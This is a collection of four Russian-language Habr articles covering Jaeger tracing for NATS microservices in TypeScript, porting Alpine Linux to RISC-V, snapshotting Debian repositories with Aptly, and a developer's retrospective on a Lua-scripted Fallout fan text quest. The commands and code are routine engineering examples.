const api = express();
api.get('/devices/:regionId', async (request, response) => {
const result = await transport.publish(DevicesMethods.getByRegion, {
regionId: request.params.regionId,
});
response.send(result);
return result;
});
api.listen(port, () => {
console.info(`Server started on port ${port}`);
});
})();
```
Далее реализуем микросервисы devices и users. Приведу пример кода только для devices, микросервис users реализуется аналогично.
Для работы с БД реализуем два репозитория. Один отвечает за работу с вымышленной mongodb, другой с redis
```
export class DeviceRepository {
private db = 'mongodb';
private devices: Device[] = [...];
public async getByRegion(regionId: string): Promise {
return new Promise(resolve => {
setTimeout(() => resolve(this.devices), 300);
});
}
}
```
```
export class LocationRepository {
private db = 'redis';
private locations = new Map([...]);
public async getLocation(deviceId: string): Promise {
return new Promise(resolve => {
setTimeout(() => resolve(this.locations.get(deviceId)), 40);
});
}
}
```
Теперь реализуем бизнес — логику микросервиса devices, которая будет находиться в функции **getByRegion**. Логика работы этого обработчика была описана ранее.
```
export async function getByRegion(request: Msg) {
try {
const deviceRepository = new DeviceRepository();
const locationRepository = new LocationRepository();
const regionId = request.regionId;
const devices = await deviceRepository.getByRegion(regionId);
const connectedDevices = await Promise.all(
devices.map(async device => {
const location = await locationRepository.getLocation(device.id);
return { ...device, location };
}),
);
const users: User[] = await transport.publish(UsersMethods.getByIds, {
ids: devices.map(device => device.id),
});
return connectedDevices.map(device => {
const user = users.find(user => user.id === device.userId);
return {
...device,
user,
};
});
} catch (error) {
console.error(error);
(this as any).createError(error);
}
}
```
В index файле devices нам осталось создать экземпляр класса Transport и подписаться на тему.
```
export const transport = new Transport();
(async () => {
try {
await transport.connect();
transport.subscribe(DevicesMethods.getByRegion, getByRegion);
} catch (error) {
console.error(error);
process.exit(1);
}
})();
```
Теперь, запустив пример и сделав запрос на наш единственный endpoint, можно ощутить значительную задержку, прежде чем json с ответом появится на экране. Для того, чтобы разобраться в чем причина, начнем собирать трейсы между сервисами, а для этого нам потребуется класс Tracer. В качестве реализации OpenTracing будем использовать библиотеку **jaeger-client**.
```
import { JaegerTracer, initTracer } from 'jaeger-client';
export class Tracer {
private _client: JaegerTracer;
constructor(private serviceName: string) {
this._client = initTracer(
{
serviceName,
reporter: {
agentHost: process.env.JAEGER_AGENT_HOST || 'localhost',
agentPort: parseInt(process.env.JAEGER_AGENT_PORT || '6832'),
},
sampler: {
type: 'const',
param: 1,
},
},
{},
);
}
get client() {
return this._client;
}
}
```
Здесь мы создаём объект трассировщика с настройками адреса коллектора Jaeger, куда он будет отсылать завершенные интервалы. Для тестов будем использовать тип сэмплирования const. Чтобы не менять наш код транспорта и не добавлять логику по созданию span'ов в методах publish и subscribe, напишем два декоратора для этих методов. Единственное, что потребуется поменять в классе Transport, это добавить конструктор, который будет принимать необязательный параметр в виде объекта Tracer.
```
constructor(private tracer?: Tracer) {}
```
Сами декораторы рассмотрим подробнее. Декоратор **subscribePerfomance** для метода subscribe
```
export function subscribePerfomance(target: any, propertyKey: string, descriptor: PropertyDescriptor) {
const origin = descriptor.value;
descriptor.value = async function() {
if (this.tracer) {
const { client } = this.tracer as Tracer;
const subject: string = arguments[0];
const handler: Handler = arguments[1];
const wrapperHandler = async (msg: Msg) => {
const childOf = client.extract(FORMAT_TEXT_MAP, msg[CARRIER]); // 1
if (childOf) {
const span = client.startSpan(subject, { childOf }); // 2
this[CONTEXT] = span; // 3
try {
const result = await handler.apply(this, [msg]); // 4
span.finish(); // 5
return result;
} catch (error) {
span.setTag(Tags.ERROR, true); // 6
span.log({
'error.kind': error,
});
span.finish();
throw error;
}
} else {
return handler(msg);
}
};
return origin.apply(this, [subject, wrapperHandler]);
}
return origin.apply(this, arguments);
};
}
```
1. Через объект Tracer методом **extract** пытаемся извлечь из пришедшего в сообщении объекта carrier контекст. Если этого контекста нет, то мы просто возвращаем обратно результат вызова оригинального обработчика.
2. Создаём новый объект span и при создании указываем ему как родительский полученный SpanContext
3. Записываем полученный span в специальную переменную в this. Он нам понадобится, если из этого обработчика будут вызываться другие методы.
4. Выполняем оригинальный обработчик
5. Завершаем наш span.
6. В случае, если оригинальная функция вернула ошибку, записываем в span тег ошибки, а также саму ошибку и завершаем span
Декоратор **publishPerfomance** для метода publish
```
export function publishPerfomance(target: any, propertyKey: string, descriptor: PropertyDescriptor) {
const origin = descriptor.value;
let isNewSpan = false;
descriptor.value = async function() {
if (this.tracer) {
const { client } = this.tracer as Tracer;
const subject: string = arguments[0];
let data: Msg = arguments[1];
let context: Span | SpanContext | null = this[CONTEXT] || null; // 1
if (!context) {
context = client.startSpan(subject); // 2
isNewSpan = true;
}
const carrier = {};
client.inject(context, FORMAT_TEXT_MAP, carrier); // 3
data[CARRIER] = carrier; // 4
try {
const result = await origin.apply(this, [subject, data]);
if (isNewSpan) {
(context as Span).finish();
}
return result;
} catch (error) {
if (isNewSpan) {
const span = context as Span;
span.setTag(Tags.ERROR, true);
span.log({
'error.kind': error,
});
span.finish();
}
throw error;
}
}
return origin.apply(this, arguments);
};
}
```
7. Извлекаем из this контекст. Это нужно для того, чтобы получить родительский контекст в случае, если мы делаем publish из обработчика, который является так же и подписчиком. Как раз наш случай. Когда api делает запрос в devices, у микросервиса устройств уже есть родительский контекст, но он должен вызвать метод микросервиса users.
8. Если у нас нет родительского контекста, мы создаём новый span.
9. Создаём объект carrier для передачи его вместе с объектом запроса. Если context окажется пустым, трейсер создаст новый. Сгенерирует новый traceId.
10. Модифицируем запрос, добавляя в него созданный объект carrier.
Осталось только задекорировать методы в классе Transport, перезапустить сервис и сделать запрос. Далее можно открыть интерфейс Jaeger и найти трейс, соответствующий нашему запросу. Он должен выглядеть так.
Мы видим, что основную часть времени выполнения запроса занимает метод микросервиса устройств getByRegion. А точнее **97.22%** от времени выполнения всего запроса. Значит, проблема в этом методе. Более того, на таймлайне видно, что перед тем, как вызвать метод микросервиса users, был большой интервал во времени, когда мы обращаемся к БД. Но в какой базе именно проблема? Это можно узнать только собрав span'ы c методов репозиториев. Для этого напишем декоратор.
```
export function repositoryPerfomance({ client }: Tracer) {
return function(target: any, propertyKey: string, descriptor: PropertyDescriptor) {
const original = descriptor.value;
descriptor.value = async function() {
if (this.parent[CONTEXT]) { // 1
const span = client.startSpan(propertyKey, {
childOf: this.parent[CONTEXT], // 2
});
span.setTag(Tags.DB_TYPE, this.db); // 3
try {
const result = await original.apply(this, arguments);
span.finish();
return result;
} catch (error) {
span.setTag(Tags.ERROR, true);
span.log({
'error.kind': error,
});
span.finish();
throw error;
}
} else {
return original.apply(this, arguments);
}
};
};
}
```
1. Здесь мы проверяем, выполняется ли вызов метода в рамках другого span'a. Если родительского span'а нет, выполняем оригинальный метод и возвращаем результат.
2. Создаём новый дочерний span.
3. Присваиваем тег с названием базы, с которой работает репозиторий. В спецификации OpenTracing есть и другие полезные теги. Можно добавить тег с ip базы или текстом запроса.
Задекорировав методы репозиториев в Jaegere, трейс будет выглядеть следующим образом.
Теперь мы видим гораздо больше информации. И на графе и на таймлайне можно увидеть, в чем заключается проблема нашего приложения. **74.38%** метода микросервиса devices занимает запрос к базе за списком устройств. Весь код, приведенный в качестве примера, можно посмотреть в [репозитории на github](https://github.com/gleip/tracing).
В качестве транспорта мы использовали NATS, но из тестового приложения видно, что сам способ общения микросервисов не имеет особого значения для сбора трассировок. Модели данных и принципы работы с ними, описанные в спецификации OpenTracing, применимы и для других видов транспорта. Будь то запросы по http или асинхронные события через очереди. В больших распределенных приложениях крайне важно, при сбоях, быстро найти источник проблем. Ведь каждая минута простоя — это недовольный клиент, а значит, потеря денег. Быстро найти проблему, скорее всего, будет самой сложной задачей, которую можно решить быстрее и легче, обладая дополнительной информацией из собранных трассировок. Также, взглянув на граф трассировки, можно легко понять, какие микросервисы участвуют в работе метода. Если сравнить схему, которая была нарисована при проектировании и итоговый граф из Jaeger, можно увидеть, что между ними почти нет разницы.
Сбор и анализ трассировок из распределенного приложения похож на проведение МРТ с контрастом в медицине, с помощью которого можно не только решить текущие проблемы, но и выявить серьезное заболевание на ранней стадии. | https://habr.com/ru/post/489552/ | null | ru | null |
# Перенос Alpine Linux на RISC-V
После нескольких мучительных месяцев ожидания недавно я получил свой [HiFive Unleashed](https://www.sifive.com/boards/hifive-unleashed), и это невероятно круто. Для тех, кто не в курсе, HiFive Unleashed — это первый одноплатник на [RISC-V](https://en.wikipedia.org/wiki/RISC-V) с поддержкой Linux, ориентированный на потребителя. Если ещё не понятно, RISC-V — это [открытая](https://github.com/riscv), свободная [архитектура набора команд](https://en.wikipedia.org/wiki/Instruction_set_architecture), а HiFive — открытый процессор, реализующий её. И вот он на моём обеденном столе:
Плата реально *классная*. В течение ближайших месяцев постараюсь подготовить всё необходимое для сервиса непрерывной интеграции [builds.sr.ht](https://meta.sr.ht/), через который будет автоматизирована оставшаяся часть переноса Alpine Linux, а также установка любых других операционных систем (в том числе не-Linux) и пользовательских программ, которые вы захотите портировать на RISC-V. Я вполне уверен, что это будет первый подобный проект на оборудовании RISC-V, открытый для публики.
Есть два этапа портирования операционной системы на новую архитектуру: начальная загрузка (бутстрапинг) и… собственно, портирование. За неимением лучшего термина. Для начальной загрузки нам нужен кросс-компилятор, нужно портировать libc и кросс-компилировать базовые элементы. Начальная загрузка завершается, когда система способна к *самохостингу*, то есть может скомпилировать себя. Процесс «портирования» включает в себя компиляцию всех пакетов, доступных для вашей операционной системы. Процесс может занять много времени и в целом автоматизирован.
Первым делом кросс-компилятор. Поддержка RISC-V появилась в binutils 2.28 и gcc 7.1 несколько релизов назад, об этом можно не беспокоиться. Достаточно собрать оба компилятора с параметром `--target=riscv64-linux-musl`. Другая важная часть — стандартная библиотека C или libc. В отличие от компилятора C, этот шаг потребовал некоторых усилий с моей стороны, поскольку Alpine Linux основан на musl libc, а её порт для RISC-V ещё не завершён и не включён в основную ветку.
Но есть [патч](https://github.com/riscv/riscv-musl) для поддержки RISC-V, хотя его никогда не тестировали в таком масштабе. Соответственно, я столкнулся с несколькими багами, для которых написал несколько патчей ([1](https://github.com/riscv/riscv-musl/pull/2), [2](https://github.com/riscv/riscv-musl/pull/3), [3](https://github.com/riscv/riscv-musl/pull/4)). Наличие рабочего дистрибутива, основанного на порте RISC-V — убедительный аргумент в пользу зрелости портированной версии, поэтому я рад, что поймал эти баги. До того времени приходилось вручную добавлять порт и свои патчи в пакет Alpine Linux musl.
Компилятор C и реализация libc открывают двери для переноса на вашу платформу огромного объёма программного обеспечения. Следующий шаг — определить и перенести необходимые пакеты для системы самохостинга. Тут в Alpine есть отличный [скрипт](https://git.alpinelinux.org/cgit/aports/tree/scripts/bootstrap.sh), который готовит кросс-компилятор и собирает базовую систему. Многие (если не большинство) из этих пакетов требовали исправления, настройки и ручного вмешательства — это не готовое решение, но невероятно полезный инструмент. Наиболее важные пакеты на данном этапе — нативные инструменты (то есть компилятор не только компилирует, но и сам работает под RISC-V), сам парольный менеджер и разные другие полезные вещи, такие как tar, patch, openssl и так далее.
Как только необходимые пакеты собраны и система может скомпилировать себя, начинается длительный процесс переноса. Здесь обычно разумно отказаться от кросс-компилятора и приступить к нативной сборке, если железо достаточно быстрое. Это компромисс, потому что система RISC-V несколько медленнее, чем моя загрузочная машина x86\_64, но многие пакеты требуют много ручных настроек и исправлений для кросс-компиляции. Сэкономленное за счёт этого время компенсирует более медленную сборку (хотя на самом деле я весьма впечатлён скоростью HiFive Unleashed. Основным узким местом является драйвер mmcblk, но как только файлы попадают в кэш ядра, всё становится очень быстро и приятно).
Там тысячи пакетов, поэтому следующий шаг для меня (и всех, кто работает над переносом) — автоматизация оставшейся части процесса. Для меня промежуточным шагом является интеграция с сервисом builds.sr.ht, чтобы организовать собственную работу и сделать циклы доступными для других людей, заинтересованных в RISC-V. Не все пакеты будут портироваться автоматически — но многие будут! Как только вы портируете языки программирования — C, Python, Perl, Ruby (я уже сделал это!) и т. д. — большинство программ с открытым исходным кодом довольно переносимы на разных архитектурах. Одна из моих основных целей в sr.ht — поощрять распространение портируемого программного обеспечения!
Если у кого-то из читателей есть собственное оборудование RISC-V или он хочет попробовать его с qemu, вот [репозиторий Alpine Linux для RISC-V](https://mirror.sr.ht/alpine/main/). Примерно такая команда установит его в /mnt:
```
apk add \
-X https://mirror.sr.ht/alpine/main/ \
--allow-untrusted \
--arch=riscv64 \
--root=/mnt \
alpine-base alpine-sdk vim chrony
```
Запустите `/bin/busybox --install` и `apk fix` при первой загрузке. Работа ещё продолжается, поэтому настройка остального — упражнение для читателя, пока я не очищу процесс и не сделаю нормальный скрипт установки. Удачи!
---
В заключение: огромное спасибо за помощь участникам сообщества #riscv на Freenode, а также разработчикам Debian и Fedora, которые во многом расчистили дорогу и выпустили патчи для многих программ! Но мне досталась вся радость переноса musl, так что дорога не была полностью чистой :) | https://habr.com/ru/post/434382/ | null | ru | null |
# Aptly. Как организовать контроль пакетов из внешних репозиториев и делегировать управление в продуктовые команды
Сейчас многие компании работают без возможности прямого управления составом пакетов внешних репозиториев, даже если применяют зеркалирование, проксирование и кэширование. Это приводит к тому, что окружение выполнения постоянно меняется, в частности состав докер-образов меняется чаще, чем требуется производству.
Возможны ситуации, когда в состав разрабатываемого продукта могут попадать нежелательные изменения, которые содержатся во внешних зависимостях. Это особенно актуально во время сертификации продукта. Как следствие — затягивание сертификаций, сбои ночных тестов и интеграционного тестирования, поломки on-premise production (производственной среды, расположенной на собственных ресурсах организации) при накатывании хотфикса и прочее. В новой статье мы описали подход, который позволит избежать таких проблем.
Чего мы хотели добиться
-----------------------
Прежде чем приступать к описанию подхода, пара слов о задачах, которые мы хотели решить:
* Получить полный контроль над составом внешних пакетов в релизе (предсказуемость).
* Зафиксировать составы внешних репозиториев для быстрой выкатки хотфиксов с минимальным дополнительным тестированием (скорость).
* Обеспечить продуктовые стенды QA повторяемым предсказуемым фиксированным окружением (повторяемость).
* Независимость от наличия внешнего канала связи (автономность).
* Моментальное переключение на официальные репозитории при аварии (отказоустойчивость).
* Гарантированная проверка ключей внешних репозиториев в сборочных конвейерах (доверие).
* И самое главное, передать управление и контроль над составом внешних пакетов в руки продуктовых команд и релиз-менеджеров (самоуправление).
Анализ жизненного цикла feature-сборок
--------------------------------------
Наш подход решает задачу фиксации состава внешних репозиториев на конкретную дату, под релиз или фичу. Следующая схема наглядно показывает управление жизненным циклом релиза, feature-сборки и хотфикса.
Для примера возьмем условный репозиторий Debian Stretch. Данный подход применим и для репозиториев Docker, SaltStack и т. п. На временной шкале зафиксировали три среза на даты T1, T2 и T3.
| | **T1** | **T2** | **T3** |
| --- | --- | --- | --- |
| **stretch** | 20200305 | 20200420 | 20200615 |
| **Feature1** | 20200304 | 20200304 | 20200501 |
| **Feature2** | 20200304 | 20200304 | 20200601 |
| **Feature3** | 20200301 | 20200406 | 20200406 |
Мы свели в таблицу состав внешнего репозитория Debian Stretch для сборки дистрибутивов Feature1, Feature2 и Feature3. Из таблицы видно, что состав внешнего репозитория контролируется каждой веткой независимо. Мы приняли соглашение для себя фиксировать ветку master для Debian Stretch ежедневно и давать метки каждому срезу в формате YYYYMMDD, например 2020304 для среза на 4 марта 2020 года. Итого в таблице приведены используемые для дистрибутива в каждой ветке срезы внешнего репозитория в трех разных моментах времени и состав в мастере для Debian Stretch. Команда для каждой фичи или для каждого релиза обновляет состав внешних репозиториев по своему усмотрению и согласно своему циклу разработки.
На примере Feature1: продуктовая команда приступает к разработке новой фичи и фиксирует в конфигурационных файлах состав внешнего репозитория на дату 20200228 (см. на схеме выше).
**Переключаем на 20200228**
`deb http://repository.co/debian-stretch-20200228 stretch main contrib non-free`
В процессе разработки в связи с появлением новых пакетов возникает необходимость обновить пакетную базу до даты 20200304. Переключаем рабочий репозиторий на нужную дату.
**Переключаем на 20200304**
`deb http://repository.co/debian-stretch-20200304 stretch main contrib non-free`
Далее происходит еще одно переключение пакетной базы на дату 20200501.
**Переключаем на 20200501**
`deb http://repository.co/debian-stretch-20200501 stretch main contrib non-free`
Если теперь мы проведем временные срезы, то увидим, что в моменты времени T1 и Т2 разработка Feature1 идет на пакетной базе, «замороженной» 4 марта 2020 года. А в срезе T3 разработка идет уже на новой пакетной базе за 1 мая 2020 года.
Продуктовое мультирелизное управление зависимостями
---------------------------------------------------
Теперь рассмотрим управление зависимостями нескольких активных релизов продукта. На поддержке представлены три релиза 2.5, 2.6 и 2.7.
В таблице мы видим соответствие релизов и дат, на которые сделан слепок репозитория. В ней показано, какой срез состава внешнего репозитория использовался для построения конкретной версии дистрибутива.
| **Релиз** | **Состав** |
| --- | --- |
| 2.5.128, 2.5.135, 2.5.207 | 20200301 |
| 2.6.201, 2.6.215, 2.6.315 | 20200301 |
| 2.7.210, 2.7.217, 2.7.305 | 20200404 |
Вместо именования срезов по датам YYYYMMDD мы также используем именование тегами в формате (название\_релиза.версия\_релиза продукта, например name.2.2) или (добавляем номер фичи, например 3).
**Снапшот для 2.5 по состоянию на 20200301**
`deb http://repository.co/debian-stretch-projectname-2.5 stretch main contrib non-free # 20200301`
Таким образом в процессе разработки релиза 2.5 команда фиксирует состав зависимых репозиториев на дату 20200301. Где-то в апреле команда начинает новый релиз 2.6 и решает использовать состав пакетов внешнего репозитория от 2.5. Создаем новый снапшот для 2.6 из снапшота для 2.5. В будущем составы репозиториев для релизов 2.5 и 2.6 могут легко разойтись. Мы сделали для 2.6 свой тег debian-stretch-projectname-2.6.
**Снапшот для 2.6 по состоянию на 20200301**
`deb http://repository.co/debian-stretch-projectname-2.6 stretch main contrib non-free # 20200301`
В случае релиза 2.7 команда может начать разработку с ветки master — ежедневного снапшота оригинального репозитория.
**Снапшот для 2.7 по состоянию на 20200404**
`deb http://repository.co/debian-stretch-projectname-2.7 stretch main contrib non-free # 20200404`
Мультипродуктовое управление зависимостями
------------------------------------------
Рассмотрим мультипродуктовое управление зависимостями на примере двух продуктов с разными релизными циклами и своими продуктовыми командами: Stealth и Infiniti.
Прокомментируем таблицу, что и когда происходит.
| **Продукт** | **Релиз** | **Состав** |
| --- | --- | --- |
| stealth2.2 | r2.2.124 | 20200301 |
| stealth2.2 | r2.2.131, r2.2.162 | 20200305 |
| infiniti4.0 | r4.0.235, r4.0.241 | 20200303 |
| infiniti4.0 | r4.0.250 | 20200308 |
1. Пусть с 1 марта 2020 года стартовала разработка версии 2.2 проекта Stealth, для этого был создан снапшот состава пакетной базы на текущую дату. Выпуск релиза 2.2.124 выполнен с пакетной базой внешнего репозитория от 20200301.
**Stealth 2.2**
`deb http://repository.co/debian-stretch-stealth-2.2 stretch main contrib non-free # 20200301`
2. Пятого числа производится обновление пакетной базы. Рабочий репозиторий debian-stretch-stealth-2.2 одномоментно переключается на нужную дату, выпуск релизов 2.2.131 и 2.2.162 выполнен с составом пакетов внешнего репозитория от 20200305. **Без дополнительных манипуляций в окружении все 100500 микросервисов продукта одномоментно получили в сборочном конвейере новое окружение 20200305**.
**Stealth 2.2**
`deb http://repository.co/debian-stretch-stealth-2.2 stretch main contrib non-free # 20200305`
3. Параллельно третьего числа стартует разработка проекта Infiniti версии 4.0 и для нее создается срез состава репозитория на дату 20200303. Версии 4.0.235 и 4.0.241 выпускаются с составом пакетов внешнего репозитория на 20200303.
**Infiniti 4.0**
`deb http://repository.co/debian-stretch-infiniti-4.0 stretch main contrib non-free # 20200303`
4. После выпуска версии 4.0.241 команда решает обновить состав репозитория до 20200308 и выпустить новый релиз с новым составом внешних пакетов. Версия 4.0.250 выходит с составом пакетов на 20200308.
**Infiniti 4.0**
`deb http://repository.co/debian-stretch-infiniti-4.0 stretch main contrib non-free # 20200308`
Два варианта переключения между состояниями репозиториев позволяют выбрать удобный для процесса разработки подход. В первом случае мы переключаемся в нужное состояние путем указания снапшота репозиториев на конкретную дату. Во втором случае для многокомпонентных продуктов используем именованный срез и двигаем его на нужную дату. Такой механизм обеспечивает единовременное переключение среза во всех 100500 компонентах продукта.
Управление срезами каждого внешнего репозитория мы ведем в отдельном Docker-контейнере, поэтому в любой момент можем переключить конкретный репозиторий на скачивание с внешней сети в случае каких-то аварий.
**Скачать список всех репозиториев**
```
# For example
curl repository.co/info/sources.list | grep $(lsb_release -cs) > /etc/apt/sources.list
```
Автоматическое создание срезов внешних репозиториев
---------------------------------------------------
Обновление репозиториев происходит каждую ночь по планировщику GitLab. При добавлении нового репозитория изменения автоматически применяются на сервере.
В момент фиксации нового среза внешнего репозитория проверяется его сертификат, если он отличается от сохраненного у нас, то обновления не происходит, а нам поступает сообщение об ошибке.
Итоги
-----
1. Подготовка новой версии дистрибутива к сертификации больше не является головной болью. На период сертификации мы фиксируем состав дистрибутива, и если нужно что-то пофиксить оперативно, то с большой вероятностью в выпущенном хотфиксе не будет ошибок из-за изменения окружения.
2. Все feature-сборки получают управляемое состояние внешних репозиториев.
3. Ускоряются выкатка хотфиксов и проверка через QA с предсказуемым, быстрым и успешным результатом.
4. Feature-стенды получают после развертывания заранее определенную, неизменяемую среду выполнения.
5. Продуктовые команды получили полностью самостоятельный контроль над составом внешних репозиториев для любых задач.
Отметим, что у Debian есть официальный ресурс [snapshot.debian.org](https://snapshot.debian.org/) с ежедневными срезами и большой глубиной хранения. Для определенных задач этого достаточно.
Благодарим Сергея Смирнова и сообщество за прекрасный инструмент для управления составом внешних репозиториев Aptly. От нас — небольшой вклад в лучшие практики использования этого полезного инструмента в производственных конвейерах.
В следующих статьях расскажем про связку Aptly + Simple-CDD для подготовки ISO-образов дистрибутивов, делегирование управления внешними зависимостями в продуктовые команды и проблемы применения Aptly в процессе управления внешними зависимостями.
**Авторы**: [Никита Драчёв](https://www.linkedin.com/in/whatnik/), [Александр Паздников](https://www.linkedin.com/in/alexander-pazdnikov-90a98a71/), [Тимур Гильмуллин](https://www.linkedin.com/in/tgilmullin/) | https://habr.com/ru/post/513958/ | null | ru | null |
# Как я в одиночку сделал игру и выводы
### История разработки одной фанатской компьютерной игры Fallout: The X-Project и попытки сделать из неё «конфетку»
Предупрежу сразу, вы не увидите в этой статье каких-то актуальных и современных знаний, да и в целом, я не стану в ней уделять много внимания техническим аспектам.
Объясню почему: сама по себе игра разрабатывалась в период с 1998 по 2008 год, а наиболее активно — где-то с 2004 по 2007. Если честно, то я и в 2005-м понимал, что будущего у игры нет. Но хотел просто её закончить. Иначе зачем столько времени и усилий потратил на проект? К тому же, я был не один, и нельзя допускать, чтобы чужие усилия были потрачены впустую. Ответственность.
Но не будем отходить в сторону. Кому будет полезна статья? В первую очередь таким же ребятам, каким я был сам, учась в институте. Мечтателям, желающим создать свою игру мечты.
### Начнём благословясь
Хотя нет, эта игра не была той самой «мечтой», конечно же. Но на момент решения о её разработке, я думал, что смогу быстро закончить проект (ага-ага!) и привлечь внимание таких же, как и я. «Надежды юноши питают...»
Конечно, я играл в Fallout. Тот самый, от Black Isle и Interplay, оставшихся теперь лишь в анналах истории. Двумерный, изометрический. С отвратным русским переводом. Но это был взрыв. Крышеснос.
Потому при выборе проекта, я решил использовать именно данную тему. Второй Fallout уже вышел, а про 3-й пока никто даже не заикался (на момент задумки). Игрушка предполагалась фанатской, рассчитанной только на русскоязычных игроков, и не предполагала извлечение прибыли. Только опыта. Коим я здесь и делюсь.
Кстати, позже вышла еще Fallout Tactics, из которой было позаимствовано не мало графики для игры. И звуков. Впрочем, тягалось всё и из обоих оригинальных фоллаутов.
Почему текстовый квест? Опять же, потому что графики требуется по минимуму. Художников не было, никаких бирж фриланса еще не существовало (а то, подозреваю, я бы еще и вложился), и только один 3D-моделлер был найден на gamedev.ru каким-то чудом. Он сделал коротенький intro при начале новой игры. За что ему отдельное спасибо!
И так, некоторый бэкграунд создания игры я обозначил. Поехали дальше!
### Выбор языка и платформы
На момент начала изучения мной GameDev'а, стандартом в нём был C++. А для C++ IDE — MS Visual Studio. Его я и стал изучать и использовать. Для работы с графикой и медиа — MS DirectX, и его части DirectDraw и DirectSound. С 3D у меня с самого начала не задалось, да и в данном проекте он был совсем не к месту.
Но и сам по себе DirectX не столь удобная штука, потому я нашел библиотечку NukeDX, которая позволяла работать с DX гораздо удобнее (читайте, это как libGDX сейчас для Java). Правда, NukeDX уже на момент начала работы с ним приказал долго жить. Но всё, что я хотел — в нём уже было и работало.
То, что игра будет для настольного ПК на Windows – на тот момент не вызывало никаких сомнений. Ноутбуки стоили гораздо дороже ПК, а о планшетах можно было только почитать в заумных обзорах. Android и смартфоны были только в зародыше, в секретных подвалах лабораторий. А Linux воспринимался исключительно как консольное серверное решение.
Хотя не скрою, году так в 2010-м появилась мыслишка «а не запихнуть ли под Windows Pocket всё это дело»? С названием операционки могу наврать, но суть понятна, думаю.
Идея как появилась, так и пропала — пришлось бы переписывать весь код и переделывать графику.
### И о скриптах замолвим слово
Поскольку я делал текстовую Role-Playing Game, которая изначально подразумевает нелинейность прохождения (о, это была модная штука тогда!), то надо было как-то заложить возможность манипуляции игровыми данными без перекомпиляции проекта каждый раз. Да и в целом, было крайне интересно попробовать самому прикрутить скриптовый движок к игре.
Скриптовый движок должен был решать следующие задачи:
* взаимодействие с переменными игры (получение / модификация) и функциями;
* не требовать предварительной компиляции кода;
* не нагружать игру.
Из всех удовлетворяющих данным требованиям выбор пал на Lua. Почему конкретно он — сейчас уже не вспомню. Язык точно использовался уже в крупных проектах. Да и сейчас используется (насколько я в курсе, в том же WoW, например).
Библиотека свободно распространяемая, примеры были. И я Lua прикрутил.
### Набираем воздуха в лёгкие и задерживаем дыхание перед прыжком
Всё замечательно, с платформой и инструментарием я определился. Теперь надо подумать, как идею превратить в нечто осязаемое.
Поскольку на тот момент я уже делал какие-то простенькие программки с помощью Microsoft Foundation Classes, то с их же помощью решил написать и сценарный редактор для игры.
Рассудив, что игра состоит из последовательности сцен (в нашем случае описываемых текстом), а переход на следующую сцену зависит от выбора варианта ответа, то я создал следующую структуру сценария:
Как видно на скриншоте, в сцене присутствует, помимо текста описания и вариантов выбора, еще и много других данных. Например, текущая дата (по игровому времени). *И смотря на это сейчас, я уже вижу, что следует исправить.*
Помимо времени, мы еще отображаем картинку сцены. В редакторе она задаётся номером. А в игре отображается в левом верхнем углу. И спрайт, как вы уже догадались, соответствует данному номеру.
Так же есть название сцены (Location). Воспроизводимый для сцены музыкальный файл. И варианты действий со ссылками на соответствующую сцену.
И вот здесь немного поговорим об интерактивности. Думаю, внимательные читатели заметили поле Event, в котором что-то вписано. Всё верно, это скрипт, выполняемый при переходе на данный экран. На первом экране это всего лишь добавление в журнал игрока новых задач:
```
AddQuest(1, "Вспомнить собственное имя, или, хотя бы кличку");
AddQuest(1, "Найти доктора");
```
С точки зрения программы мы вызываем в Lua доступные ей функции приложения с теми параметрами, которые нам нужны.
А теперь еще два момента:
1) У каждого варианта ответа есть поле Condition. Через тот же Lua мы можем проверить какие-то игровые переменные, и на основе этой проверки либо выводить вариант ответа, либо его скрыть.
2) Каждый вариант ответа может иметь свой выполняемый скрипт. То есть, если мы выбираем какой-то вариант, то он может повлечь за собой определённое действие. Например, вызов экрана боя. Или проигрывание звука. Или переход на какой-то конкретный экран, если выполняется условие. И т.п.
Вот такими нехитрыми способами я решал вопрос интерактивности и взаимодействия пользователя с миром игры.
А хранится всё в файле scenario.dat, в структуре данных. Сохраняется на диск с помощью механизма сериализации того же MFC. Ну и прикола ради, во время сохранения кодируется.
### Ныряем
Хорошо, не очень удобный, но хоть как-то работающий редактор сценариев я сделал. Теперь пора запустить игру.
И вот тут… Да как бы не так! Тут было много муторной работы в Photoshop с выцепленной графикой. Но с точки зрения программирования ничего особо сложного не было. На первый взгляд.
Не буду погружаться в излишние детали, но первая серьёзная задача, которая передо мной возникла — это искусственный интеллект. Если для логических задачек всё можно было вынести в скрипты, то вот с боёвкой я решил закопать всё жестко в коде. И это был интересный, но времязатратный момент разработки игры.
Конечно, великий рандом здесь рулит. Но надо было сделать хоть какое-то подобие осмысленности борьбы со стороны компьютера. А вот сама по себе модель боя была позаимствована от некогда крайне популярного «Бойцовского клуба», или просто БК. И адаптирована под Fallout. Выбираешь, куда бить, наносишь удар и получаешь аналогичный ответ.
Но это ладно. А для прохождения некоторых заданий (квестов) требуется инвентарь. И вот здесь я реально встрял на месяцок — другой.
Нет, сам по себе инвентарь — штука не сложная. Даже наоборот. Встрял я на написании drug&drop для него. Правда, сейчас я помню только, что он вызвал много неприличных слов!
Когда поборол проблему с перетаскиванием предметов, то оставались лишь мелкие детали, вроде просмотра голодисков (holodisk), отображения журнала заданий и т.п. мелочи.
### Надо проверять дно, чтобы не встретиться с камнем
Но… был уже 2008 год. Вышел и прошел с аншлагом Fallout 3 – эдакий The Elder Scrolls в мире Пустоши. Поколение геймеров давно сменилось, и те, на кого был рассчитан текстовый квест Fallout: The X-Project уже либо перестали играть совсем, либо потеряли всякий интерес к подобного рода играм.
Но я ничуть не жалею о полученном опыте, ведь я доказал себе, да и всем остальным, следующие вещи:
1. Можно написать программу не обладая изначально никакими знаниями в области программирования, и не обучаясь по данной специальности где-либо.
2. Даже в одиночку можно создать компьютерную игру, за которую не будет стыдно (привет GameMaker'у и иже с ним).
3. Разрабатывая игры, получаешь массу удовольствия!
А еще на собственном опыте выяснил, что:
1. У проекта **обязан быть deadline**!
2. Перед тем, как что-то начинать делать, надо очень внимательно изучить, понадобится ли это кому-то, кроме тебя самого. Банальность, но это грабли, на которые все продолжают и продолжают наступать.
3. Система контроля версий — это просто супер-вещь!
4. ООП — это еще круче, чем система контроля версий.
5. Читать большие тексты мало кто любит.
6. Но уж если предстоит читать тексты, то надо делать чтение **УДОБНЫМ**! В моём случае стиль победил удобство, что оказалось большой ошибкой.
7. Необходимо продумывать каналы распространения еще **ДО** начала работы над проектом.
8. Найти соратников, которые будут не только трепаться языком, но и что-то делать вполне реально. Но не просто.
9. Совмещать несколько позиций команды в одном человеке — не продуктивно. Постоянное переключение между задачами негативно сказывается на скорости работы.
